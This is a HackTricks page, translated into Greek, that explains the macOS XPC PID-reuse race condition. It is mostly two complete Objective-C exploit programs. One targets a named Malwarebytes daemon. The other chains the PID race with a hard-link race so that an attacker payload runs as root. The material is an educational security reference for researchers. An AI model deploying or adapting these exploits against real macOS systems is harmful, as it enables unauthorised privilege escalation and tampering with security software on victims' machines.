macOS PID Reuse

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

PID Reuse

Όταν μια υπηρεσία XPC του macOS ελέγχει τη διαδικασία που καλείται με βάση το PID και όχι με το audit token, είναι ευάλωτη σε επίθεση επαναχρησιμοποίησης PID. Αυτή η επίθεση βασίζεται σε μια συνθήκη αγώνα όπου μια εκμετάλλευση θα στείλει μηνύματα στην υπηρεσία XPC καταχρώντας τη λειτουργικότητα και μόλις μετά από αυτό, εκτελώντας posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) με το επιτρεπόμενο δυαδικό αρχείο.

Αυτή η συνάρτηση θα κάνει το επιτρεπόμενο δυαδικό αρχείο να κατέχει το PID αλλά το κακόβουλο μήνυμα XPC θα έχει σταλεί ακριβώς πριν. Έτσι, αν η υπηρεσία XPC χρησιμοποιεί το PID για να αυθεντικοποιήσει τον αποστολέα και το ελέγξει ΜΕΤΑ την εκτέλεση του posix_spawn, θα νομίζει ότι προέρχεται από μια εξουσιοδοτημένη διαδικασία.

Exploit example

Αν βρείτε τη συνάρτηση shouldAcceptNewConnection ή μια συνάρτηση που καλείται από αυτή καλώντας processIdentifier και όχι auditToken. Είναι πολύ πιθανό να σημαίνει ότι ελέγχει το PID της διαδικασίας και όχι το audit token. Όπως για παράδειγμα σε αυτή την εικόνα (παρμένη από την αναφορά):

Ελέγξτε αυτή την εκμετάλλευση παραδείγματος (και πάλι, παρμένη από την αναφορά) για να δείτε τα 2 μέρη της εκμετάλλευσης:

• Ένα που δημιουργεί αρκετούς κλώνους

• Κάθε κλώνος θα στείλει το payload στην υπηρεσία XPC ενώ εκτελεί posix_spawn αμέσως μετά την αποστολή του μηνύματος.

Για να λειτουργήσει η εκμετάλλευση είναι σημαντικό να export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ή να το βάλετε μέσα στην εκμετάλλευση:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

NSTasks

Πρώτη επιλογή χρησιμοποιώντας NSTasks και επιχείρημα για να εκκινήσει τα παιδιά για να εκμεταλλευτεί το RC

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

fork

Αυτό το παράδειγμα χρησιμοποιεί ένα ακατέργαστο fork για να εκκινήσει παιδιά που θα εκμεταλλευτούν την κατάσταση αγώνα PID και στη συνέχεια θα εκμεταλλευτούν μια άλλη κατάσταση αγώνα μέσω ενός σκληρού συνδέσμου:

// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl

#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>

// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end

// Global flag to track exploitation status
bool pwned = false;

/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);

// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}

void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;

// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString*  service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);

// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];

// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];

// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) {  // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}

// Wait for children to finish their tasks
sleep(3);

// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}

int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");

// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);

while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");

// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");

xpc_pid_rc_abuse();
usleep(10000);

// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}

return 0;
}

Άλλα παραδείγματα

• https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html

Αναφορές

• https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/

• https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.